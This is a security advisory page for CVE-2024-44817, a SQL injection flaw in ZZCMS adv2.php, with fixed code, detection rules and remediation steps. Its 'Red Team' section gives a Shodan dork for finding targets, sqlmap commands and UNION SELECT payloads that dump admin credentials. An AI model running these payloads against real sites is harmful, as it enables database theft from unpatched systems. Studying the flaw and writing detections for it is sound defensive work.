CVE-2024-44817
Executive Summary
CVE-2024-44817 is a critical SQL Injection vulnerability discovered in ZZCMS version 2023 and earlier. The flaw resides in the id parameter of the adv2.php component, allowing a remote, unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation can lead to the extraction of sensitive information from the database, including user credentials, session tokens, and other confidential data. The vulnerability has a CVSS base score of 7.5 (High) due to its network attack vector, low complexity, and no required privileges. As of this report, no official patch has been released by the vendor, making all instances of ZZCMS 2023 and prior versions vulnerable to active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ZZCMS is a PHP-based content management system. While it is not distributed through major package registries like NPM or PyPI, its supply chain risk is significant due to the lack of a patched version. Organizations using ZZCMS should treat this as a critical supply chain vulnerability, as the software may be bundled with hosting packages or deployed as part of legacy systems. The absence of a vendor patch means that any instance of ZZCMS 2023 or earlier is a potential entry point for attackers.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
- Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
- User Interaction: None (UI:N) – No user action is needed for exploitation.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Successful exploitation can lead to full database disclosure.
- Integrity Impact: None (I:N) – The vulnerability does not allow data modification.
- Availability Impact: None (A:N) – The vulnerability does not affect system availability.
Threat Level: Critical. The combination of remote exploitability, low complexity, and high confidentiality impact makes this a prime target for automated scanning and exploitation by threat actors.
Deep Dive & Mechanics
The vulnerability exists in the adv2.php script, which is part of the ZZCMS advertising management module. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject malicious SQL payloads by manipulating the id parameter in a GET request.
Vulnerable Code Path (Conceptual):
// adv2.php (vulnerable)
$id = $_GET['id'];
$sql = "SELECT * FROM zzcms_adv WHERE id = $id";
$result = mysqli_query($conn, $sql);
The lack of input validation allows an attacker to break out of the intended SQL syntax and execute arbitrary queries. For example, a simple payload like 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - can be used to enumerate database columns and extract data.
Attack Flow:
- Attacker identifies a ZZCMS instance (e.g., via Shodan or Google dorking).
- Attacker sends a crafted HTTP GET request to
/adv2.php?id=<payload>. - The vulnerable script processes the request and executes the injected SQL.
- The database returns the attacker-controlled data, which is then displayed in the response.
- Attacker iterates on the payload to extract sensitive information (e.g., admin credentials, user data).
Vulnerable vs. Patched Code
Since no official patch exists, the following represents the vulnerable code and a recommended fix.
Vulnerable Code (adv2.php):
<?php
$id = $_GET['id'];
$sql = "SELECT * FROM zzcms_adv WHERE id = $id";
$result = mysqli_query($conn, $sql);
// ... process result
?>
Patched Code (Recommended):
<?php
$id = intval($_GET['id']); // Cast to integer
$sql = "SELECT * FROM zzcms_adv WHERE id = $id";
$result = mysqli_query($conn, $sql);
// ... process result
?>
Alternative Patched Code (Using Prepared Statements):
<?php
$stmt = $conn->prepare("SELECT * FROM zzcms_adv WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>
The recommended fix involves either casting the input to an integer (if the id field is numeric) or using prepared statements with parameterized queries. Both methods prevent SQL injection by ensuring user input is treated as data, not executable code.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: ZZCMS 2023 running on Apache/Nginx with PHP 7.x and MySQL.
- Attacker: Kali Linux with sqlmap and Burp Suite.
Exploitation Steps:
Reconnaissance:
- Use Shodan dork:
http.title:"ZZCMS"to find targets. - Verify the vulnerability by sending a test payload:
curl "http://target.com/adv2.php?id=1'" - If a SQL error is returned (e.g.,
You have an error in your SQL syntax), the target is vulnerable.
- Use Shodan dork:
Automated Exploitation with sqlmap:
sqlmap -u "http://target.com/adv2.php?id=1" --batch --dbs- This will enumerate databases.
- To dump the
zzcms_admintable:sqlmap -u "http://target.com/adv2.php?id=1" --batch -D zzcms -T zzcms_admin --dump
Manual Exploitation (Proof of Concept):
- Extract database version:
http://target.com/adv2.php?id=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- - - Extract admin credentials:
http://target.com/adv2.php?id=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM zzcms_admin-- -
- Extract database version:
Note: The number of columns in the UNION SELECT must match the original query. Use ORDER BY to determine the column count:
http://target.com/adv2.php?id=1 ORDER BY 10-- -
Blue Team (Defensive)
Detection and Response:
Web Application Firewall (WAF) Rules:
- Block requests containing SQL keywords in the
idparameter (e.g.,UNION,SELECT,--). - Example ModSecurity rule:
SecRule ARGS:id "@rx (union|select|insert|drop|--|#)" "id:1000,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
- Block requests containing SQL keywords in the
Input Validation:
- Ensure the
idparameter is strictly numeric. Reject any non-numeric input at the application or reverse proxy level.
- Ensure the
Database Hardening:
- Use a database user with minimal privileges (e.g., only SELECT on necessary tables).
- Enable query logging to detect anomalous SQL patterns.
Incident Response:
- If exploitation is detected, immediately isolate the affected server.
- Review database logs for unauthorized queries.
- Rotate all credentials stored in the database.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/adv2.php?id=containing SQL keywords (e.g.,UNION,SELECT,--,#). - Unusual response sizes from
adv2.php(e.g., large data dumps). - Multiple requests to
adv2.phpwith varyingidvalues in a short time frame.
File System IOCs:
- Modified
adv2.phpfile (if attacker uploads a web shell). - Suspicious files in the ZZCMS uploads directory (e.g.,
.phpfiles in/uploads/).
Log IOCs:
- Apache/Nginx access logs showing
adv2.php?id=with SQL-like patterns. - MySQL general query log showing unexpected
UNION SELECTstatements.
Example Log Entry:
192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /adv2.php?id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10--%20- HTTP/1.1" 200 5432 "-" "sqlmap/1.7.2"
Detection Engineering
YARA Rule
rule CVE_2024_44817_SQLi_ZZCMS {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-44817 in ZZCMS adv2.php"
author = "Valters IT"
date = "2024-10-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-44817"
strings:
$sqli1 = "UNION SELECT" nocase
$sqli2 = "union select" nocase
$sqli3 = "1=1" nocase
$sqli4 = "1=2" nocase
$sqli5 = "OR 1=1" nocase
$sqli6 = "OR 1=2" nocase
$sqli7 = "--" nocase
$sqli8 = "#" nocase
$sqli9 = "/*" nocase
$sqli10 = "sleep(" nocase
$sqli11 = "benchmark(" nocase
$sqli12 = "information_schema" nocase
condition:
any of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: SQL Injection Attempt Against ZZCMS adv2.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-44817 in ZZCMS adv2.php
author: Valters IT
date: 2024-10-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains:
- 'id=1%20UNION%20SELECT'
- 'id=1%20union%20select'
- 'id=1%20OR%201=1'
- 'id=1%20OR%201=2'
- 'id=1%20--'
- 'id=1%20#'
- 'id=1%20/*'
- 'id=1%20sleep('
- 'id=1%20benchmark('
- 'id=1%20information_schema'
condition: selection
falsepositives:
- Legitimate use of SQL keywords in URL parameters (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2024-44817 SQL Injection Attempt - ZZCMS adv2.php";
flow:to_server,established;
content:"/adv2.php";
http_uri;
content:"id=";
http_uri;
pcre:"/(UNION|union|SELECT|select|OR|or|--|#|\/\*|sleep\(|benchmark\(|information_schema)/Ri";
classtype:web-application-attack;
sid:1000001;
rev:1;
reference:cve,2024-44817;
)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Modify
adv2.phpto cast theidparameter to an integer or use prepared statements as shown in the patched code section. - Deploy WAF Rules: Implement the ModSecurity or Suricata rules provided in the Detection Engineering section to block exploitation attempts.
- Restrict Database Privileges: Ensure the database user used by ZZCMS has only the necessary permissions (e.g., SELECT on specific tables, no DROP or INSERT privileges).
Long-Term Recommendations:
- Vendor Patch: Monitor the ZZCMS official website for a security patch. If none is released, consider migrating to an alternative CMS.
- Code Audit: Conduct a full security audit of the ZZCMS codebase to identify and fix similar vulnerabilities.
- Regular Updates: Keep all software components (PHP, MySQL, web server) up to date with the latest security patches.
- Network Segmentation: Place the ZZCMS instance in a segmented network with strict access controls to limit the blast radius of a compromise.
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.